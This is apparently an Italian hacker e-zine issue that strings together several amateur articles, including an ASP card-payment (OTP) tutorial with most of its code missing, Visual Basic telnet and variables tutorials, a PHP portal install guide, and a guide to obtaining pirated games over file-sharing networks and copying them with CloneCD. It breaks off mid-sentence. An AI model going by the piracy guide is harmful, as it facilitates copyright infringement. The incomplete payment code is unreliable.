Tutte le linee dati di output sono messe in AND con la linea dati di input. i valori n fungono da indirizzi e tutti i valori delle linee dati di input (0 o 1) sono smistati verso la linea di output. Vediamo l'implementazione di un Demultiplexer con l'uso di un decodificatore: FIGURA porte10.jpg Vediamo come interpetrare la figura... Il risultato e' controllare al temporizzazione del decodificatore. L'output appare solo quando l'input codificato e' presente e la linea dati in input ha valore 1. /* slaps */ Dove sei? Perche' nn mi parli piu'? Cosa sta succedendo, stiamo cambiando senza un motivo...siamo stati bene insieme e nn puo' finire cosi' senza un perche'... Sto rileggendo i msg sul cellulare e da come e' andata sembrano tutti falsi...Perche'???! // TnX Syscall, IfConfig`, Virgeles, reizier, don, ^SiD^, M|\yA, Lisa| // mydecay, irtam, Maxtor. <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +-------------------------------------------------------+ | INTERFACCIA PER PAGAMENTO CON CARTA DI CREDITO IN ASP | +-------------c-y-b-e-r-d-u-d-e-------t-e-x-t-----------+ Ciao ragazzi diamo subito qualche notizia sul seguente articolo : AUTORE >>> CYBERDUDE LINGUAGGIO >>> ASP ARGOMENTO >>> INTERFACCIA PER PAGAMENTO CON CARTA DI CREDITO ISPIRATORE >>> OTP DI BANCA STELLA ALTRO? >>> NO … ANZI SI, VOGLIO ANDARE AL MARE! Detto questo direi che possiamo benissimo proseguire nel nostro articolo, dunque noi parleremo se ancora non vi è chiaro di una breve intro ai sistemi di pagamento per il commercio elettronico e riporteremo degli script in ASP utilizzati dal sistema OTP di Banca stella. Dunque analizziamo prima le offerte di Banca Sella per il merchant : - GestPay Basic Edition - GestPay Advanced Edition - GestPay Professional Editino . Naturalmente vi sono piccole differenze tra i tre tipi, la differenza sostanziale la ritroviamo soprattutto nel fatto che le funzionalità del pannello di amministrazione back office cambiano. A questo si aggiunge poi una piccola differenza di prezzo. Analizzando banca stella, è facile per tutti notare che una volta scelto il tipo di contratto veniamo sottoposti ad un'altra scelta, la scelta di interfaccia che dobbiamo scegliere tra le seguenti : - Interfaccia Compatibilità - Interfaccia OTP - Interfaccia Crittografia E a questo punto indovinate noi quale andremo ad approfondire in questo articolo? Beh non è molto difficile hihihi … l'interfaccia OTP! Questa interfaccio prende il nome da One Time Password. Ma vediamo più nello specifico cosa succede: le password vengono utilizzate un'unica volta, poi cancellate, nella procedura di riconoscimento del merchant da parte del sistema di gestione che risiede sul server sicuro (SSL 128 bit) di Banca Sella. Bella pensata vero? Adesso voi direte… si ma a cosa vogliamo arrivare? Beh seguitemi e capirete!! Prima di proseguire io vi proporrei di fare qualche prova, quindi vi invito a collegarvi al sito www.stellanet.it e richiedere OTP di prova. Qui vi verrà chiesto quante otp vogliamo, la scelta è molto vasta infatti va da 5 a 10000 password. Cosa dobbiamo fare? È molto semplice, inserire il nostro indirizzo di posta elettronica e aspettare. Riceveremo in un periodo compreso tra 1 e 3 ore una cartella zippata contenente due file: un .ric e un .ris .Questi due file, i cui nomi sono delle lunghissime sequenze numeriche , contengono le OTP richieste. A questo punto entriamo in gioco noi, cosa dobbiamo fare? Beh voi dovete leggere quanto segue, adesso andiamo a riportare uno script ASP che si occuperà di prelevare una OTP dal file .ric e di cancellarne l'equivalente dal file .ris. Dal confronto tra i due file si sarà sempre sicuri di utilizzare una sola volta l'OTP. Infatti anche se può sembrarvi strano, il cuore del pagamento tramite carta di credito si basa proprio su due file ASP : - invio.asp - otp.asp Il primo riceve dal vostro sito di commercio elettronico un valore associato alla variabile <%=tot %>, che rappresenta l'importo totale che deve essere transato attraverso l'interfaccia di pagamento, l'altro invece contiene il numero minimo di valori associati al merchant tali da farlo riconoscere dal sistema. Vi faccio notare che otp.asp dovrà essere incluso in invio.asp Qui di seguito vi riporto quindi il listato invio.asp --------------------------------------------------------------- Invio Parametri
<% Dim PAY1_OTP Dim tot tot = request.form("totale") ' richiamo il valore totale della transazione PAY1_OTP = PrelevaOTP() ' attivo la funzione PrelevaOTP() %>
>
>
----------------------------------------------------------------- Andiamo ad analizzarlo un pò … - "a" e "b" sono il numero minimo di parametri da inviare - il secondo campo hidden rappresenta il valore "b", dove: 242 è il codice per la divisa - PAY1_SHOPTRANSACTIONID è il numero identificativo della transazione che deve essere inviato dal sistema e-commerce del merchant con una variabile … in questo caso T_ID - PAY1_OTP è la OTP prelevata - *P1* è il separatore che viene utilizzato solo da Banca Sella al posto di & oppure + Ed ora andiamo ad analizzare il listato OTP.asp : -------------------- ------------------------------------------ <%@LANGUAGE="VBSCRIPT"%> ----------------------------------------------------------------- E quindi passiamo all'analisi anche di questo listato : - CodEs rappresenta il codice identificativo del cliente - RicName e RisName hanno come valore i percorsi assoluti dei file ric e ris - T.ID , infine, rappresenta la transaction id, poiché uno stesso merchant può sottoscrivere più contratti quindi avere transazioni di diversa natura ed utilizzo Ragazzi non ci crederete ma questo è tutto il necessario per effettuare una transazione, una volta che il sistema di Banca Sella avrà accettato la OTP e riconosciuta come corretta la "chiamata", si passerà direttamente alla pagina di pagamento che risiede sul loro server dove verranno immessi i dati sensibili della carta di credito e personali. Fine ragazzi… non saprei più che dirvi, a parte forse di andare a vedere il reparto Configurazione -> Indirizzi IP dove bisognerà indicare l'IP (o gli IP) del sito da cui proverrà la chiamata alla pagina di pagamento, altrimenti questo non sarà riconosciuto… e il reparto Configurazione -> Risposte dove dovrete andare ad indicare le pagine cui il server di Banca Sella dovrà comunicare l'esito della transazione. Detto questo ci metto un punto e vi do appuntamento al prossimo articolo, ciao a tutti Cyberdude <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------------autore:Leonhack---------------------------- ---------------------Articolo:Costruiamo un telnet in visual basic------------- Bene,bene,in questo piccolo articolo vi faro capire come si costruisce un piccolo telnet in vb,non è molto difficile,quindi mettiamoci in opera. Occorrenti: Una vodka,un limoncello,un amaro...no scherzo :-) Due sono le cose che ci occorrono: 1) Visualbasic 6 o 5 2) Dovete aggiungere al progetto l'elemento Winsock Per aggiungere il winsock fate ctrl+t e aggiungete MICROSOFT WINSOCK CONTROL 6.0(SP5),e date Ok,ah... vi ricordo che dovete aprire un progetto exe standard. ...::Oggetti del form::.. A questo punto dovete aggiungere nel vostro form: 2 label 4 textbox 3 command 1 Winsock 1°a label CAPTION = Porta 2°a label CAPTION = Host remoto Command1 CAPTION = Connetti Command2 CAPTION = Disconnetti Command3 CAPTION = Invia ----------------------------------------------------------------- label2 text1 label1 text2 command1 command2 winsock text4 text3 command3 ------------------------------------------------------------------ Ora passiamo alla parte piu bella ......pero, prima cambiamo NOME al winsock e ci mettiamo un bel TCP1. ...::Il codice::.. Private Sub Command1_Click() ' qui diciamo al command1 di connettersi vedendo la text1 che e If Val(Text1.Text = "") Or Val(Text2.Text = "") Then 'qui gli dicamo che se una persona MsgBox "manca qualcosa", vbCritical ' non inserisce un parametro scatta la msgbox End If On Error GoTo ERRORE ' gestione errori TCP1.Connect Text1, Text2 'host e text2 che e la porta Exit Sub ERRORE: MsgBox "Devi inserire host e porta corretti !!", 64 End Sub Private Sub Command2_Click() TCP1.Close 'con questo diciamo al command2 di sconnettersi dal server End Sub Private Sub Command3_Click() Text4 = Text4 & Text3 & vbCrLf TCP1.SendData Text3 & vbCrLf 'qui dice: manda al server i dati che ci sono nella text3 End Sub Private Sub Form_Load() If App.PrevInstance = True Then 'piccolo script che serve a non far aprire + MsgBox "l'applicazione è già attiva", _ ' di una volta il progr. vbExclamation End End If End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) TCP1.GetData Server, vbString 'qui riceve i dati e li espone nella text4 Text4 = Text4 & Server End Sub Private Sub Text3_Click() 'e un opzione che come clicchiamo nella text3 scompare il conte Text3.Text = "" 'nuto End Sub Ricordatevi che nella TEXT4 di settare al'lopzione MULTILINE = TRUE perche se nò avrete i dati che da il server tutti su una riga. ...::Conclusioni::.. In conclusione vorrei dirvi che questo telnet e meglio di quello di casa microsoft hiihihi, voi mi direte perchè ?Semplice lo abbiamo creato noi,anche con la gestione degli errori !!. Da questo potete capire che con poco codice siete riusciti a creare una piccola grande cosa. Se tutto va bene metterò anche la il client per ssh Greetz: vorrei salutare tutta la crew che fa ogni mese sempre un buon lavoro. Fuck to:Fuck to all those that are me on the balls !!!! Come sempre concludo con il mio ascii :-) LL EEEEEEE OOOOOOO N N H H AAAAAAA CCCCCC K K LL E O O N N N H H A A C K K LL EEEEEEE O O N N N HHHHHH AAAAAAA C KK LL E O O N N N H H A A C K K LLLLLL EEEEEEE OOOOOOO N NN H H A A CCCCCC K K OOOOOOO W W W W N N ZZZZZZZ O O W W W W N N N Z O O W W W N N N Z O O W W W W N N N Z OOOOOOO W W N NN ZZZZZZZ Y Y OOOOOOO U U !!!!! Y Y Y O O U U !!!!! Y O O U U !!!!! Y O O U U !!!!! Y OOOOOOO UUUUUUU !!!!! Connection....reset... <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------------autore:Leonhack---------------------------- -------------------Articolo:Introduzione alle variabili di Visual Basic-------- Premetto che questo articolo non è completo in tutti i suoi particolari ma vi fa capire come si usano le variabili di Vb,Infatti in questo articolo parlerò solo di variabili e non delle costanti,però e buona cosa che sappiate che ci sono le variabili e le costanti. Allora come prima vi dico che le variabili sono 11 ossia: -Variabile- -Occupazione in memoria- -Identificatore- -Range- "Integer" 2 byte % da -32.728 a 32.767 "Long integer" 4 byte & da -2.147.483.648 a -2.147.483.647 "Single precision" 4 byte ! negativi da -3,402823E38 a 1,401298E-45 positivi da 1,401298E-45 3,402823E38 "Double precision" 8 byte # negativi da -1,79769313486232E308 a -4,94065645841247E-324 positivi da 4,94065645841247E-324 a 1,79769313486232E308 "Currency" 8 byte @ da -922.337.203.685.477,5808 a 922.337.203.685.477,5808 "String" 10 byte $ "Boolean" 2 byte vero o falso "Date" 8 byte vanno dal 1 gennaio 100 al 31 dicembre 9999 "Variant" 16 byte "Byte" "Object" Per definire una variabile si usa sempre una "parolina" ossia: Dim es:vogliamo definire una variabile di tipo integer ? metteremo Dim NOME variabile Tipo di variabile cioe : Dim PROVA as integer ...::Gli indentificatori::.. Quei simboli di sopra "indentificatori" servono a far risparmiare tempo al programmatore infatti se noi costruiamo una variabile tipo : dim prova as integer possiamo fare anche cosi dim prova% ---> occhio a non sbagliare.il simbolo deve andare attaccato alla parola. ...::Perchè le ultime 3 variabili non hanno simboli ?::.. Semplice la variabile Bolean puo essere SOLO di due tipi: True o False ossia vero o falso. La variabile Date non ha simbolo perchè quando la definiamo scriveremo sempre : Dim prova as Date Per formattare le date si usa il Format$ es : Create un form con una label e un command e schiaffate sto codice : Private Sub Command1_Click() Dim prova As Date Label1.Caption = Format$(prova, "dddd,dd mm,yyyy") End Sub dove dice dddd sta per i giorni, mm per i mesi e yyyy per gli anni.Quindi se volete i giorni scritti per intero metterete dddd se volete solo il numero metterete dd.Questo vale anche per i mesi e gli anni. Mentre la variant viene usata quando non si sa che variabile usare e quindi solo quando e indispensabile,tipo quando si registra un codice fiscale.Il codice fiscale contiene sia numeri che lettere quindi nessuna di queste variabili andrebbe bene e quindi si ricorre alla variabile variant che occupa qualche byte in + in memoria.Essa si definisce sempre con Dim prova as Variant Ora vi posto un programma fatto in vb con tutte le varibili.una con ogni esempio.Non fateci caso al select case e alle list box.di queste ne parlero in altri tutorial,per ora compilate il progr e tenetelo come riferimento Allora aprite Vb possibilmente il 6.0 con gli altri non lo testato,ed inserite 4 label,una list box,ed un command1. La label1 come CAPTION la chiamerete: Tipi di variabili La label2 come CAPTION la chiamerete: Scegli il tipo di variabile La label3 come CAPTION la chiamerete: Dato di esempio La label4 come CAPTION la chiamerete: la lasciate vuota La Command1 come CAPTION la chiamerete: Esci La Listbox lasciatela cosi com'è. |------------------------------------------------------------| | Label1 | | | | | | label2 label3 | | | | | List BOX | label4 | | | | Command1 | |------------------------------------------------------------| Passsiamo al codice : 'questo e un commento Private Sub Command1_Click() End End Sub Private Sub Form_Load() 'fate doppio click sul form ed inserite questo List1.AddItem "Integer" List1.AddItem "Long integer" List1.AddItem "Single precision" List1.AddItem "Double precision" List1.AddItem "Currency" List1.AddItem "String" List1.AddItem "Boolean" List1.AddItem "Date" List1.AddItem "Variant" End Sub Private Sub List1_Click() Dim eta%, abitanti&, diffenza!, percentuale#, prezzo@, indirizzo$ 'avete visto che o utilizzato gli identificatori al posto di scrivere per ogni variabile Dim nome variabile ecc,ecc e per separare ogni variabile ho messo una virgola. Dim data_di_nascita As Date 'anche questa Dim Codice_fiscale As Variant 'anche questa Select Case List1.ListIndex 'Questa e una struttura del select case. Case 0 eta% = 24 Label4.Caption = eta% Case 1 abitanti& = 125000 Label4.Caption = abitanti& Case 2 differenza! = -5646.221 Label4.Caption = differenza! Case 3 percentuale# = 3.1561565124 Label4.Caption = percentuale# Case 4 prezzo@ = 12.3 Label4.Caption = prezzo@ Case 5 indirizzo$ = "Corso roma 121" Label4.Caption = indirizzo$ Case 6 valore = True Label4.Caption = valore Case 7 data_di_nascita = #4/16/2002# Label4.Caption = Format$(data_di_nascita, "dddd,dd mmmm,yyyy") Case 8 Codice_fiscale = "dcgk456g2trtg45" Label4.Caption = Codice_fiscale End Select End Sub ...::Spiegazione delle variabili::.. ...::Integer::.. Questa variabile come dice la parola stessa definisce i numeri interi.Guardatevi la tabella di sopra e vedete i valori. ...::Long integer::.. Questa è come quella di sopra solo che a maggior capienza come valori.Occhio,guardate che le integer vanno bene solo con i numeri interi !! ...::Single precision::.. Questa variabile copre anche i numeri decimali. ...::Duble precision::.. Copre + numeri decimali della single,quindi è + preciso :-). ...::Currency::.. Questa variabile viene utilizzata per i prezzi e monete.Mi spiego voi volete creare un progr per la conversione in euro.Bene userete la variabile currency. ...::String::.. Come dice il nome,serve per visualizzare una stringa contenente sia numeri che lettere. ...::Bolean::.. Questa variabile serve a dare delle condizioni,cioe puo essere di due tipi:Vero o Falso. ...::Date::.. Come dice il nome serve definire delle date.Oltre alla variabile daten si puo utilizzare la Myvar infatti vedete questo es : Private Sub Form_Load() myvar = Now Label1.Caption = myvar End Sub Mettete una label e inserite quel codice nel form load.Avrete lo stesso effetto di una variabile Date. Questo per data e ora : datevar = Int(myvar) timevar = myvar - Int(myvar) ...::Variant::.. Questa variabile come descritto sopra viene utilizzata solo in caso di necessità,infatti questa variabile puo utilizzare fino a 15 byte di memoria(per i programmatori e tanto :-) ma per noi che siamo newbie non ce ne frega na mazza :-D Voi mi direte: si mi ha spiegato tutte queste cose e non mi ha fatto manco un esempio ? Beh vi sbagliate :-).Ora faremo un programmino che serve a chi fa la 5°a elementare. Ebbene sì faremo un programma che calcola l'area e il perimetro di un triangolo. Non vi preoccupate non l'ho creato per i dementi ma ben si lo fatto per farvi capire come funzionano le variabili :-D. Aprite un progetto sempre exe standard e butteteci dentro 8 label,3 command(pulsanti) e 3 textbox. Label1 si chiamerà = 1° lato Label2 si chiamerà = 2° lato Label3 si chiamerà = 3° lato Label4 si chiamerà = il perimetro è : Label5 si chiamerà = L'area è : Label6 si chiamerà = lasciatele vuote Label7 si chiamerà = lasciatele vuote Label8 si chiamerà = Inserisci i dati : Text1 si chiamerà = lasciatele vuote text2 si chiamerà = lasciatele vuote text3 si chiamerà = lasciatele vuote command1 si chiamerà = Calcola command2 si chiamerà = Esci command3 si chiamerà = Pulisci |----------------------------------------------------------------------| | Label8 | | label1 TEXT1 | | label2 TEXT2 | | label3 TEXT3 | | | | | | label4 label6 | | label5 label7 | | | | Command1 Command2 Command3 | | | |----------------------------------------------------------------------| Eccovi il codice : Private Sub Command1_Click() Dim perimetro As Single Dim area As Single 'qui descriviamo le variabili Dim cat1 As Single 'questa e una single precision Dim cat2 As Single Dim ipo As Single cat1 = Val(Text1.Text) 'quel val significa che cat1 e uguale ai valori che sono contenuti in text1 cat2 = Val(Text2.Text) ipo = Val(Text3.Text) perimetro = cat1 + cat2 + ipo area = cat1 * cat2 / 2 Label7.Caption = area Label6.Caption = perimetro End Sub Private Sub Command2_Click() End End Sub Private Sub Command3_Click() ' questo serve per pulire le varie textbox e le label Text1.Text = "" Text2.Text = "" Text3.Text = "" Label6.Caption = "" Label7.Caption = "" End Sub Per ora e tutto,ci vediamo la prossima volta. GreetZ: {N}oRt{ON},unrelated,nicola,Caligola and.....cyberdude !!! Fuck To : Mia professoressa di inglese,quella troia mi mette 6 solo perche faccio bordello a scuola,poi... a tutti quelli che non ci credono che io stavo negli affix e mi rompono le palle solo perchè sono invidiosi.Tiee alla faccia vostra !! Bene e tutto L . E . O . N . H . A . C . K O . W . N . Z Y . O . U. <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> **************** *Salve a tutti:* **************** Bè allora questa sarà un'introduzione di quelle pallose però la metto perché devo spiegare a qulli di elite [ -_- ] perchè scrivo questo tutorial, bè semplice perchè non si nasce imparati...! Allora in questo tutorial spiegerò come installare un portale in php di quelli prefatti (phpnuke, postnuke, xoops,..) questi citati sono sicuramente i conosciuti. Allora il php cos'è!? Bè semplice il php è un linguaggio diciamo sotto certi aspetti di programmazione. Quindi non è certamente facile da usare anzi, però qualcuno capisce anche che il php è un fonte inesauribile di servizi quindi sono stati messi sulle mani di tutti gl'ignoranti del php per dare opportunità a tutti di usarlo. ********************************** *Installazione di un portale php:* ********************************** Allora per prima cosa dovremmo trovare un web-server che supporti il php, ce ne sono molti di questi ma pochi che lo supporti gratuitamente. Per fare una prova consiglio ( www.altervista.org oppure www.lycos.it ). Allora per prima cosa dobbiamo trovare all'interno delle nostre pagine d'amministrazione messe in funzione dal web-server per gestire il nostro account qualcosa che servi per attivare mysql. -->>(Piccola parentesi: Mysql è detto RDMS ovvero Relational DataBase Managmen system, esso è proprio un sistema di database praticamente gestisce tutti i database.) Allora attivato mysql dobbiamo entrare nella sua gestione quindi cercheremo qualcosa del tipo "mysql admin", entrati lì avremo una schermata dove troveremo il nome del database datoci dall'host. Ora dovremmo trovare sotto la voce SQL una casella di testo con a fianco un tasto con scritto cerca, bene trovata questa faremo sfoglia, e andremo a cercare dentro la directory del portale il file .SQL una volta trovato faremo esegui sotto al nostro campo testo.La pagina caricherà e vedremo a fianco delle nostra pagina tutti nomi, bè quelle saranno le tabelle del database. -->>(Piccola parentesi: ma cosa abbiamo fatto eseguendo quel file?Bella domanda eseguendo quel file noi non avremo fatto altro che creare il nostro database o meglio riempire il nostro database con tabelle e query che servono al funzionamento del database.) Una volta fatto questo che è forse la parte più importante passiamo oltre e andiamo configurare il nostro sito in modo che possa accedere al database e quindi eseguirsi.Prima di far ciò però dobbiamo uploadare i file dentro la cartella ftp.Non c'è bisogno di uploadare tutto basterà soltanto uploadare il contenuto della cartella "html" dentro il database.Fatto ciò proseguiamo con l'installazione. Allora qui è il primo problema se così si può dire, alcuni portali come xoops hanno un'insallazione semplice quindi basterà seguire l'installazio mentre altri come phpnuke hanno bisogno di essere configurati manualmente. Ora analizzeremo entrambi i casi: ******* *Casi:* ******* -->> 1)Xoops: Allora in questo caso basterà andare sul nostro sito ad esempio su altervista esempio.altervista.org/install/index.php qui inizieremo l'installazione. Nella prima pagina troveremo la scelta della lingua,questo aspetta a voi, ora clickiamo avanti e troveremo una piccola introduzione, noi clicckiamo ancora avanti ora il wizard controllerà se tutte le directory sono a posto e dovrebbe dare esito positivo, clickiamo avanti. Ora qui ci verranno chiesti alcuni dati: - Database: mysql /*scelta obbligata*/ - Database Hostname: localhost /*verrà inserito da solo, voi lasciate questo*/ - Database Username: esempio /*qui dovrete inserire l'username che avete scelto per lo spazio web) - Database Password: esempiopass /*qui dovrete inserire la pass che avete scelto per lo spazio web) - Database Name: my_esempio /*qui dovrete inserire il nome del database messo a disposizione a voi dall'host per guardare questo non si farà altro che entrare dentro l'amministrazione di Mysql e li troveremo il nome */ - Table Prefix: esempiotable /*qui potete lasciare quello di defoult o cambiarlo ma non cambia nulla*/ - Use persistent connection? NO /*lasciate la scelta su no*/ - XOOPS Physical Path: c:\ecc..\ecc.. /*qui verrà di defoult la directory dei file sul server non toccare*/ - XOOPS Virtual Path (URL): http://esempio.altervista.org /*anche questa sarà di defoult quindi non toccare*/ Ora possiamo clickare avanti una volta inseriti i dati. Ora in questa pagina controllate se i dati da voi inseriti sono validi e poi continuate.Confermare di nuovo, ora ci sarà un'altro controllo da parte del wizard e dovrebbe dare esito positivo, quindi continuare, fate avanti di nuovo, ora un'ulteriore controllo sulla connessione al database e dovrebbe dare anche qui esito positivo clickate avanti. A questo punto vi verrà stampato tutte le tabelle create, clickate aventi. Ora scegliete: - Admin Name: cazzabubbolo /*vostro username :D */ - Admin Email: email@email.it /*vostra e-mail (mettetela esatta) */ - Admin Password: pass /*nulla da dire*/ - Confirm Password: pass /*nulla da dire*/ Clickate un'altra volta avanti ora vi darà responso delle tabelle modificate, un'altro click ci siamo quasi, finito. Ora vi chiedera se volete visitare la home. Ok perfetto per Xoops abbiamo finito, !!!ATTENZIONE!!! mi raccomando di cancellare la cartella install per non rischiare che qualche lamer vi rebootti il sito e non vadano persi tutti i dati. 2)PHPnuke: qui la cosa si fa più veloce e manuale, allora una volta uploadati i files nella prima directory troveremo un file chiamato "config.php" a questo punto editiamola e andiamo a trovare la riga: $dbhost = "localhost"; $dbuname = "root"; $dbpass = ""; $dbname = "nuke"; $prefix = "nuke"; $user_prefix = "nuke"; $dbtype = "MySQL"; Appena apriamo il file troveremo questa configurazione che non va affatto bene.Allora vediamo come dovremmo modificarla: $dbhost = "localhost"; /*lasciamola così*/ $dbuname = "esempio"; /*l'user name del database, in questo caso inseriamo il nome scelto come user del lo spazio web*/ $dbpass = ""; /*pass del database, in questo caso inseriamo la pass scelta come pass del lo spazio web*/ $prefix = "nuke"; /*lasciamo questo di defoult*/ $user_prefix = "nuke"; /*lasciamo questo di defoult*/ $dbtype = "MySQL"; /*lasciamo questo di defoult*/ Perfetto una volta fatto questo il sito dovrebbe andare, ora però non abbiamo finito, andiamo sul nostro sito e facciamo click su administration che troveremo nel topic, qui ci catapulterà nella directory esempio.altervista.org/admin.php qui ora come primo user sceglieremo un user a pass a nostro piacimento, e faremo conferma, una volta ricaricata la pagina ci chiederà di inserire user e pass inseriti prima, a questo punto l'inseriremo e saremo riconusciuti come admin. !!!ATTENZIONE!!! dobbiamo essere i primi ad effettuare il login da amministratore altrimenti non potremo prendere l'admin e dovremmo resettare il database. Conclusioni: Scusate l'italiano ma non stavo facendo un tutorial sull'uso dei verbi,spero che il tut vi sia utile. Per qualsiasi informazione o spiegazione aristotele@spits.org oppure scrivete sul forum del sito www.spits.org o fate un join su irc.azzurra.org #spits Distinti saluti AriStoTelE Ringraziamenti speciali: Ringrazio tutti quelli che mi ammirano (che non ci sono) tutti quelli a cui sto simpatico o agli amici: genocid3,tillo,nob,dejavu,tiger87,... <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Ovvero tutto cio che dovete sapere sui videogiochi! _____________ |iMPORTANTE!| Tutto quello che troverete qui è *SOLO ED ESCLUSIVAMENTE* a scopo informativo, e non mi assumo *NESSUNA* responsabilità dell'uso scorretto che ne potete fare, quindi se un gioco vi piace, *COMPRATEVELO*! Altrimenti sappiate che state facendo qualcosa di illegale e potreste essere perseguiti legalmente e penalmente! Bene, dopo il solito disclaimer, tuffiamoci in un mondo che molte persone non esperte non conoscono: il download. Non fraintendete, tutte le persone (o almeno si spera) che usano internet sanno come si fa un download, ma non altrettante sanno come si scaricano giochi dalla rete. Questo non è comunque il solo tema che andrò a trattare in questa guida, qui trovate l'indice: 1) Cosa significa scaricare giochi dalla rete, dove si puo farlo e come (con i vari attrezzi del mestiere, hehe). 2) I vari formati di file immagine. 3) Come si masterizza un file immagine. 4) L'uso di CloneCD e le conseguenze. Ok, partiamo! Per prima cosa, molti di voi dummies (se lo siete) si staranno kiedendo: ma che diavolo vuol dire scaricare giochi dalla rete? Beh, sicuramente l'idea di fondo la sapete, cioè che si scarica un file contente al suo interno un gioco. Ma forse non sapete che questo è un file immagine. Ma cos'è un file immagine? Semplice: tutti voi, con un apposito programma (ne esistono a decine) potete mettere un cd nel vostro lettore, aprire il programma e dirgli di farvi questo famoso "file immagine". Ciò significa che tutto il contenuto del cd viene riversato su uno (o più, vedere la sezione "Formati" per delucidazioni) file che potranno essere in seguito masterizzati. Ora, sulla rete i formati più utilizzati sono i file .bin in accoppiata al .cue. Voi vi scaricate questo file immagine, aprite il vostro fido programma di masterizzazione e gli dice di masterizzarvi l'immagine sul cd. Sia chiara una cosa cmq, non è che vi viene messa l'immagine sul vostro cd, ma il suo CONTENUTO! Chiaro?! A questo punto sapete cosa è un file immagine, ma bravi! Ma passiamo alla domanda che in molti si chiederanno, ovvero: ma da 'ndo cavolo li scarico? Magari starete pensando anke: chissà da quale sito si prendono...SBAGLIATO! O meglio: il 90% delle volte, anzi, il 90% della gente non li prende da siti http, ma da programmi di file sharing. Ora, non tutti sono adatti al download di giochi (per esempio KaZaA) mentre altri lo hanno nel loro codice genetico (insieme a DivX, programmi, canzoni ecc...). Del restante 10%, l'1% scarica da siti http (in genere bisogna scaricarsi un programma prima, in modo da poter scaricare tramite il sito e questo programma, na sorta di file sharing in connubio coll'http) mentre il 9% da siti ftp. Spero vi stiate chiedendo il perke...Beh, la risposta è facile: in pratica, per poter scaricare da un sito ftp, ovviamente dovete conoscerne uno (in genere vengono scritti sui forum) e dovete sapere nome utente e password. Quest'ultimo all'inizio non è un problema, ma in genere le pass vengono cambiate frequentemente, quindi bisogna sempre starci dietro. Inoltre la maggior parte delle volte o sono privati, o sono sempre pieni. Quindi diventa tutto + complicato rispetto ad un prog di file sharing, ed ecco il perke di quel 90%. Dunque, dopo questa introduzione all'argomento, passiamo alla fase pratica, o meglio, agli "attrezzi" che ci servono: ora, qui va un po a gusti, ma diciamo che in linea generali i migliori programmi per scaricare giochi sono: 1) WinMX Pro: ha una quantità di file allucinante, soprattutto se si mettono anche gli OpenNap Protocols. Contro: ha delle code pazzesche, e l'unico modo per cominciare a scaricare è quello di chiedere dalla/dalle persone che si è in coda se ti lasciano partire, magari sotto scambio (cioè tu dai un file a lui e lui ti lascia scaricare). 2) Direct Connect Pro: anche qui un archivio molto vasto, ma con delle restrizioni: nel senso che bisogna connettersi ad un canale (hub) che contiene i file che mettono in condivisione gli utenti. Essi infatti non si trovano tutti in un unico mega- server tipo winmx, ma sono "spezzettati" in tanti server diversi, chiamati canali. Ognuno di essi ha le sue regole e la sua quantità minima di share per la quale si può entrare. ES: Se io mi voglio connettere ad un hub che ti chiede almeno 50gb di file in share ma io ne ho solo 30, ovvio che non mi fa connettere, e la maggior parte delle volte ti reindirizza da altre parti.. Cmq sia, per trovare un hub che ti soddisfi basta andare nella lista degli hub pubblici, e da lì scegliere, oppure trovare su internet i nomi di alcui buoni hub (nota: gli utenti fastweb possono collegarsi solo agli ke supportano tale collegamento) Altra cosa positiva, il fatto che si possono trovare molti slot liberi dai quali cominciare a scaricare immediatamente. Inoltre, è presente anke una chat dove si possono chiedere dritte e consigli. Contro: non c'è la possibilità di scaricare da + utenti contemporaneamente, anke se cercando su internet si puo trovare la versione modificata. Questi sono i due prog principali, anke se molti usano emule, ma per ora lo tralascio (anke perke non mi piace). Bene, ora che sappiamo da dove si scaricano i giochi, passiamo alla sezione successiva. 2) I vari formati di file immagine Qui di seguito riporterò solo i formati principali o cmq più famosi: ..bin e .cue: questo tipo di file immagine è formato da due parti distinte, il file .bin contiene materialmente i file del cd, l'altro serve al programma di masterizzazione, e gli spiega come deve attuare il processo di burn. ..iso: altro tipo di file famosissimo e diffusissimo. Ha al suo interno tutti i file e ciò che serve al programma di masterizzazione per fare il burn. Esiste inoltre un programma che trasforma da .bin a .iso (bin to iso converter se non sbaglio). ..img .sub .ccd: sono i file immagine di Clone CD. Il file img contiente i file principali, il .sub quelli dei subcanali dati e audio, il ccd serve a dire al programma come masterizzarlo. ..nrg: file immagine di Nero Burning Rom, poco diffuso cmq... Bene, dopo questo tour tra i vari formati, passiamo oltre... 3) Come si masterizzano i file immagine Allora, cominciamo subito col dire ke, fino a poco tempo fa, non era molto comodo masterizzare i file immagine: questo perke bisognava avere tanti programmi, dove ognuno masterizzava uno, al massimo due file immagine...per fortuna il mondo informatico è in continua evoluzione ed è nato Alcohol 120%. Questo è un programma appositamente creato con il SOLO scopo di fare e masterizzare file immagine di TUTTI i tipi. È molto comodo ed intiutivo e dal sito ufficiale www.alcohol-software.com lo potete prendere in versione dimostrativa, altrimenti esistono i programmi di file sharing ;) Direi che non c'è altro da dire per questa sezione...andatevi a bere una birra, nel frattempo penso a cosa si puo scrivere... Tornati? Bene, direi ke non c'è altro da fare ke passare alla sezione successiva, ovvero: 4) L'uso di CloneCD e le conseguenze Bene bene, dovete sapere carissimi (se gia non ne siete a conoscenza) che CloneCD è un programma creato con l'unico scopo di fare dei file immagine il più fedeli alla copia originale (da qui il suo nome). E devo anke dire che ci riesce benissimo, tanto che grazie a lui se si masterizza un gioco originale, questo va senza crack! In pratica, è ESATTAMENTE come se possedeste il gioco originale, tanto ke ci funzionano anke le patch e via dicendo...Vi starete chidendo: e perke mai non lo adottano anke su internet per distribuire i giochi in modo ke vadano senza crack e rotture varie? Beh, non lo so esattamente ma posso dire semplicemente che occupano molto più dei normali file immagine...100, 150 mb in + rispetto al .bin e ..iso, ecco... Ma torniamo a noi: come faccio a masterizzare con CloneCD? Beh, dovreste essere contenti di sapere che dalla versione 4 in poi, 